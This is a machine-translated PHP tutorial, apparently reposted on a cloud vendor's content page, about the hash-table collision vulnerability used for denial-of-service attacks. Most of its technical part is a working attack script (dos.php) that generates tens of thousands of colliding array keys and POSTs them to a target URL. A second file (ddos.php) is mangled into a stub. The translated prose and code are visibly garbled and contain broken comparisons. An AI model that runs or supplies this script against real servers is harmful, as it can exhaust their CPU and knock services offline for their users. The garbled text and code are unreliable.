PHP uses the hash conflict vulnerability to analyze DDoS attacks. hashddos_PHP tutorial

Source: Internet
Author: User
PHP uses the hash conflict vulnerability to analyze DDoS attacks, hashddos. PHP uses the hash conflict vulnerability to analyze the method of DDoS attacks. hashddos This article analyzes the methods of PHP using the hash conflict vulnerability for DDoS attacks. Share it with you for your reference. Details: Analysis of PHP's method of using the hash conflict vulnerability for DDoS attacks, hashddos

This document describes how PHP uses the hash conflict vulnerability to launch DDoS attacks. Share it with you for your reference. The specific analysis is as follows:

First, declare:This article is only used for research and usage. do not use it for illegal activities!

We have mentioned the hash table collision vulnerability recently. many common languages, including java, python, and php, are not spared. let's take a look at its power tonight.

Attack principle:

By posting a group of carefully crafted array parameters to the target server, when the underlying language processes the received array parameters at the server end, this vulnerability causes high CPU consumption, eventually, the server resources are exhausted.
You don't need to use any fancy techniques. you can simply use PHP to check the effect.

File: dos. php

// Target address // as long as the target address exists, you don't need to worry about it. $ host = 'http: // 127.0.0.1/test. php '; $ data = ''; $ size = pow (2, 15); for ($ key = 0, $ max = ($ size-1) * $ size; $ key <= $ max; $ key + = $ size) {$ data. = '& array ['. $ key. '] = 0';} $ ret = curl ($ host, ltrim ($ data,' & '); var_dump ($ ret); function curl ($ url, $ post, $ timeout = 30) {$ ch = curl_init (); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ ch, CURLOPT_TIMEOUT, $ timeout ); curl_setopt ($ ch, CURLOPT_CONNECTTIMEOUT, $ timeout-5); curl_setopt ($ ch, CURLOPT_HTTPHEADER, array ('CT: '); curl_setopt ($ ch, CURLOPT_URL, $ url ); curl_setopt ($ ch, CURLOPT_POST, true); curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ post); $ output = curl_exec ($ ch); if ($ output = false) return false; $ info = curl_getinfo ($ ch); $ http_code = $ info ['http _ Code']; if ($ http_code = 404) return false; curl_close ($ ch); return $ output ;}

File: ddos. php

   
  DDOS  <? Php for ($ I = 0; $ I <5; $ I ++) {// echo '';}?> 

I hope this article will help you with php programming.

In this article, we analyze how PHP uses the hash conflict vulnerability to launch DDoS attacks. Share it with you for your reference. Details...

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.